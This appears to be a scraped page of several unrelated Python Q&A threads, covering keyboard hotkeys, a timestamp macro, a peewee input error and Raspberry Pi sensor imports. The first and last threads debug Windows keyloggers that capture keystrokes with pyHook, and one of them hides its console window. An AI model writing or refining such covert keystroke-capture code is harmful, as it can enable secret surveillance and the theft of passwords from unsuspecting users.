So I am trying to make a Keylogger (educational purposes only) and here my code
#!/usr/bin/env python
import pyHook
import pythoncom
import win32gui
import win32console
import time
import smtplib, os
log_file = "d:\control.txt" #name of log file
window = win32console.GetConsoleWindow() #go to script window
win32gui.ShowWindow(window,0) #hide window
def pressed_chars(event): #on key pressed function
if event.Ascii:
f = open(log_file,"a") # (open log_file in append mode)
char = chr(event.Ascii) # (insert real char in variable)
if char == "q": # (if char is q)
f.close() # (close and save log file)
if event.Ascii == 13: # (if char is "return")
f.write("\n") # (new line)
f.write(char) # (write char)
proc = pyHook.HookManager() #open pyHook
proc.KeyDown = pressed_chars #set pressed_chars function on KeyDown event
proc.HookKeyboard() #start the function
pythoncom.PumpMessages()
after running the code I get a couple errors like this
Traceback (most recent call last):
File "C:\Python278\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch
return func(event)
File "C:\Python278\logger.pyw", line 22, in pressed_chars
f.write(char) # (write char)
ValueError: I/O operation on closed file
I made it so that whenever I pressed the Character 'Q' the program would end recording the keystrokes. But if I enter the following code: "exit()" between lines 19-20, the program works fine but exits before it can do anything else. I have been trying to solve it on my own, but I can't seem to get it to work the way I want it to. Any Ideas? Using Python 2.7.8 by the way.
If the char is "q", you close the file. 'if char == "q": # (if char is q)'
Try to make a if .. elif .. else.
Btw, I prefere with open() (see more at: for line in open(filename))
Related
I am trying this code provided and accepted here: https://stackoverflow.com/a/55369170/14307622
but I am getting this error. Any ideas why ? I am new here so if I am breaking some rules for this question, then please let me know but if possible, please suggest some solutions to the problem first.
import keyboard
import time
listedSongs = []
currentSong = "idk"
exit = False # make a loop control variable
def alt_k():
i = 1
paused = False
def alt_q():
global exit
exit = True
def alt_s():
if currentSong not in listedSongs:
listedSongs.append(currentSong)
print(listedSongs)
# assign hooks to the keyboard
keyboard.on_press_key("alt+k", alt_k) # on press alt+k, execute alt_k()
keyboard.on_press_key("alt+q", alt_q)
keyboard.on_press_key("alt+s", alt_s)
# main loop
while not exit:
keyboard.wait() # "block" for input (essentially, do nothing until a key is pressed and yield CPU resources to anything else that wants them)
The error I am getting is this:
Traceback (most recent call last):
File "D:\AJ\Coding\test.py", line 26, in <module>
keyboard.on_press_key("alt+k", alt_k) # on press alt+k, execute alt_k()
File "C:\Users\AJ\AppData\Local\Programs\Python\Python39\lib\site-packages\keyboard\__init__.py", line 510, in on_press_key
return hook_key(key, lambda e: e.event_type == KEY_UP or callback(e), suppress=suppress)
File "C:\Users\AJ\AppData\Local\Programs\Python\Python39\lib\site-packages\keyboard\__init__.py", line 493, in hook_key
scan_codes = key_to_scan_codes(key)
File "C:\Users\AJ\AppData\Local\Programs\Python\Python39\lib\site-packages\keyboard\__init__.py", line 324, in key_to_scan_codes
raise ValueError('Key {} is not mapped to any known key.'.format(repr(key)), e)
ValueError: ("Key 'alt+k' is not mapped to any known key.", ValueError("Key name 'alt+k' is not mapped to any known key."))
It seems on_press_key() works only with single key like q but not with combination alt+q. Or maybe it is problem only on some systems. At least it doesn't work on my Linux.
Or maybe they change code in module. Answer in Checking for keyboard inputs uses too much cpu usage, Is there something wrong with my code? is 2 years old.
You can use add_hotkey() and it doesn't need wait()
import keyboard
import time
listedSongs = []
currentSong = "idk"
exit = False # make a loop control variable
def alt_k():
print('pressed: alt+k')
i = 1
paused = False
def alt_q():
global exit # need it to assign `True` to global/external variable instead of creating local variable
print('pressed: alt+q')
exit = True
def alt_s():
print('pressed: alt+s')
if currentSong not in listedSongs:
listedSongs.append(currentSong)
print(listedSongs)
keyboard.add_hotkey('alt+k', alt_k)
keyboard.add_hotkey('alt+q', alt_q)
keyboard.add_hotkey('alt+s', alt_s)
# main loop
while not exit:
time.sleep(1)
See examples in documentation: Example
Eventually you may use hotkye = read_hotkey(...) with if/else to execute correct function.
I'm not sure but sometimes it works for me also with hotkey = keyboard.wait(suppress=False) but sometimes it doesn't work.
while not exit:
hotkey = keyboard.read_hotkey(suppress=False)
#hotkey = keyboard.wait(suppress=False)
print('hotkey:', hotkey)
if hotkey == 'alt+k':
alt_k()
elif hotkey == 'alt+q':
alt_q()
This is how I solved my issue.
I ditched the keyboard module since it was not working the way I wanted it to and then I used the Python Global-Hotkeys Module. The code was pretty much the same but now everything just clicked in place.
Hope this helps someone in the future.
I try to make a macro in python, that when pressed execute this folliwing script to add time before a text :
import keyboard # using module keyboard
from datetime import *
from time import sleep
while True:
sleep(0.2)
try:
if keyboard.is_pressed('F12'):
now = datetime.now()
keyboard.press_and_release('Home')
keyboard.write(f"{now.hour}h{now.minute}m{now.second}s :")
keyboard.press_and_release('Enter')
except :
pass
Its work well until I send a message that make multiple lines ! How to solve the issue ?
1 line message :
hello -> press F12 -> send 15h45h07s : hello
multiple lines :
line 1
line 2
line 3
-> press F12
send :
line 1
line 2
15h46m30s : line 3```
You can go to the top of the page using Ctrl+Home, so here is the improved code:
import keyboard # using module keyboard
from datetime import *
from time import sleep
while True:
sleep(0.2)
try:
if keyboard.is_pressed('F12'):
now = datetime.now()
keyboard.press_and_release('Ctrl+Home')
keyboard.write(f"{now.hour}h{now.minute}m{now.second}s :")
keyboard.press_and_release('End')
keyboard.press_and_release('Down')
except :
pass
However, this will ONLY insert the time at the top of the file, and not for any subsequent lines. If you want to use this to do multiple lines, maybe think of a more complicated approach, where you perhaps store a list of lines which have the time before them, and another key to clear this list. Here is my example:
import keyboard # using module keyboard
from datetime import *
from time import sleep
lines = []
while True:
sleep(0.2)
try:
if keyboard.is_pressed('F12'):
now = datetime.now()
if len(lines) == 0:
keyboard.press_and_release('Ctrl+Home')
else:
keyboard.press_and_release('Home')
keyboard.write(f"{now.hour}h{now.minute}m{now.second}s :")
keyboard.press_and_release('End')
keyboard.press_and_release('Down')
lines.append("placeholder")
except :
pass
try:
if keyboard.is_pressed('F11'):
lines = []
except :
pass
P.S. I edited your code so that rather than adding an enter at the end, it goes down a line. This is better for doing multiple lines, as it removes unwanted whitespace.
Example:
I,m trying to save multiple texts user enter in a db using peewee module but it give me EOFError when i press ctrl+d in console.I think problem is whit sys.stdin.read().anyway can anyone help me fix this?
here is the code:
#!/user/bin/env python3
from peewee import *
import sys
import datetime
from collections import OrderedDict
db = SqliteDatabase('diary.db')
class Entry(Model):
content = TextField()
timestamp = DateTimeField(default=datetime.datetime.now) # no ()
class Meta:
database = db
def intitalize():
'''create database and table if not exists'''
db.connect()
db.create_tables([Entry], safe=True)
def menu_loop():
'''show menu'''
choice = None
while choice != 'q':
print("enter 'q' to quit")
for key, value in menu.items():
print('{}) {}'.format(key, value.__doc__))
choice = input('action: ').lower().strip()
if choice in menu:
menu[choice]()
def add_entry():
'''add an entry'''
print("Enter your entry. press ctrl+d when finished")
data = sys.stdin.read().strip()
if data:
if input('Save Entry?[Yn]').lower()!='n':
Entry.create(content=data)
print('saved successfully')
def view_entry():
'''view entries'''
def delete_entry():
'''delete an entry'''
menu = OrderedDict([
('a', add_entry),
('v', view_entry),
])
if __name__ == '__main__':
intitalize()
menu_loop()
here is error i get in pycharm:
enter 'q' to quit
a) add an entry
v) view entries
action: a
Enter your entry. press ctrl+d when finished
some text
and more
^D
Save Entry?[Yn]Traceback (most recent call last):
File "C:/Users/Xylose/Desktop/small lab/peewee/venv/dairy.py", line 61, in <module>
menu_loop()
File "C:/Users/Xylose/Desktop/small lab/peewee/venv/dairy.py", line 34, in menu_loop
menu[choice]()
File "C:/Users/Xylose/Desktop/small lab/peewee/venv/dairy.py", line 42, in add_entry
if input('Save Entry?[Yn]').lower()!='n':
EOFError: EOF when reading a line
Process finished with exit code 1
in Python the
EOFError: EOF when reading a line
there is 2 reason for this error
1.reading the file in the wrong way/format
import sys
for line in sys.stdin:
print (line)
this how we can read using "sys.stdln"
2.there is another chance for the same error if the file is corrupted
Reading from stdin after Ctrl-D is normally allowed, but I have tested this only on Ubuntu (code similar to yours works perfectly well). I see that this is being run on Windows and the Windows console might behave differently and refuse any read() operations after Ctrl-D. One possible solution is to capture the EOFError exception with a try/except statement and close and re-open sys.stdin when the exception occurs. Something like this:
# note: check that sys.stdin.isatty() is True!
try:
# read/input here
except EOFError:
sys.stdin.close()
sys.stdin = open("con","r")
continue # or whatever you need to do to repeat the input cycle
I'm currently setting up a some sensors with my raspberry pi in python. Total python newbie here.
Each sensor has it's own script to read the sensor and there is another script that drives an LCD display and displays the imported variable from the sensor script.
I've gotten so far with working scripts that run the sensors and generate output, however, I cannot seem to import the variables (temperature & pH) into the LCD display script. Also, once I have imported the variables, how do I instruct the LCD script to "refresh" the and fetch the updated variable?
Here's a trimmed down version of what I have so far, I've omitted the sensor and data logging parts of each script. For simplicity, script_display is the LCD driver, and pH_script is for pH and temp_script is for temperature.
Here's a simplified version of the scripts:
script_display.py
import sys
sys.path.insert(0, '/home/pi/Raspberry-Pi-sample-code')
import pH_script
import temp_script
from ph_script import ph_main
from temp_script import get_temp
import time
while True:
print PH.ph_main(ph_output)
print get_temp(temp)
time.sleep(1)
temp_script.py
from w1thermsensor import W1ThermSensor
import time
#Get Temperature
def get_temp():
global temp
sensor = W1ThermSensor(W1ThermSensor.THERM_SENSOR_DS18B20, "031683a0a4ff")
activate_temp = sensor.get_temperature()
temp = str(activate_temp)
return temp
#Read Temp Frequency
def read():
threading.Timer(0.5, read).start()
get_temp()
time.sleep(1)
try:
while True:
read()
get_temp()
print get_temp()
except KeyboardInterrupt:
print("Program Ended By User")
pH_script.py
def ph_main():
lots and lots of code to activate the PH probe, and other variables, but the variable ph_output returns as a string, ph_output
try:
while True:
global ph_output
dev.send_cmd("R")
lines = dev.read_lines()
for i in range(len(lines)):
print lines[i]
if lines[i][0] != '*':
print lines[i]
ph_output = str(lines[i])
return ph_output
time.sleep(delaytime)
try:
while True:
ph_main()
except KeyboardInterrupt:
print("Continuous polling stopped")
so, again, first question, how to pass the global variables back to the display script? and two, how to instruct the display script to 'refresh' the variables?
the error I am currently getting is:
Traceback (most recent call last):
File "script_display.py", line 8, in <module>
print PH.ph_main(ph_output)
NameError: name 'ph_output' is not defined
looking forward to any input and thanks for your time + help!
Well i made this script that its supouse to logg some keystrokes for a while save them in a file and then erase the file if the user want to however when the script tryes to delete the file i get this error.
Traceback (most recent call last):File
"C:\Users\Tormentor\Desktop\S.D.A.K.L\pregunta.py", line 34, in
os.remove(path2+"\"+name) PermissionError: [WinError 32] The
process cannot access the file because it is being used by another
process:'C:\Users\Public\myfile.txt'
I made some research and i think that it cant be deleted because my "snp" function never closes the file where the keystrokes are logged so how can i close the file to delete it?
Thanks for your help :).
import os
import time
import pyHook, pythoncom, sys, logging
path="C:\\Users\\Public\\myfile.txt"
path2="C:\\Users\\Public"
name="myfile.txt"
TinM=10
def snp(event): #<---------- Not closing file ???
global path
logging.basicConfig(filename=path, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
timeout=time.time()+TinM
while timeout > time.time():
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = snp
hooks_manager.HookKeyboard()
print("Logging keystrokes")
pythoncom.PumpWaitingMessages()
else:
hooks_manager.UnhookKeyboard()
x=input("Keylogger stoped do you want to delete the archive? y / n")
if x == "y":
for(path2,dirs,files) in os.walk(path2):
if name in files:
os.remove(path2+"\\"+name) # <----- This line triggers the error.
print("Archive deleted. Goodbye")
else:
print("Archive does not exist or cant be found goodbye! :D")
else:
print("Goodbye! :D")
The file is being held open by your own process.
logging.basicConfig(filename=path, level=logging.DEBUG...
opens the file specified by filename. It does not close it until the process exits, or logging.shutdown() is called, so you could call shutdown() in your snp() function.
However, that requires that logging be initialised every time that a key is pressed, which is very inefficient. A better design would be to call logging.basicConfig() once in the main part of your script, and to call logging.shutdown() prior to removing the file. Your snp() function then becomes:
def snp(event):
logging.log(logging.DEBUG, chr(event.Ascii))
return True
and the main part of the script:
logging.basicConfig(filename=path, level=logging.DEBUG, format='%(message)s')
timeout=time.time()+TinM
while timeout > time.time():
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = snp
hooks_manager.HookKeyboard()
print("Logging keystrokes")
pythoncom.PumpWaitingMessages
hooks_manager.UnhookKeyboard()
logging.shutdown()
x=input("Keylogger stoped do you want to delete the archive? y / n")
if x == "y":
for(path2,dirs,files) in os.walk(path2):
if name in files:
os.remove(path2+"\\"+name) # <----- This line triggers the error.
print("Archive deleted. Goodbye")
else:
print("Archive does not exist or cant be found goodbye! :D")
else:
print("Goodbye! :D")
Note that I also removed the else clause from the while statement because it is always executed for the code that you show.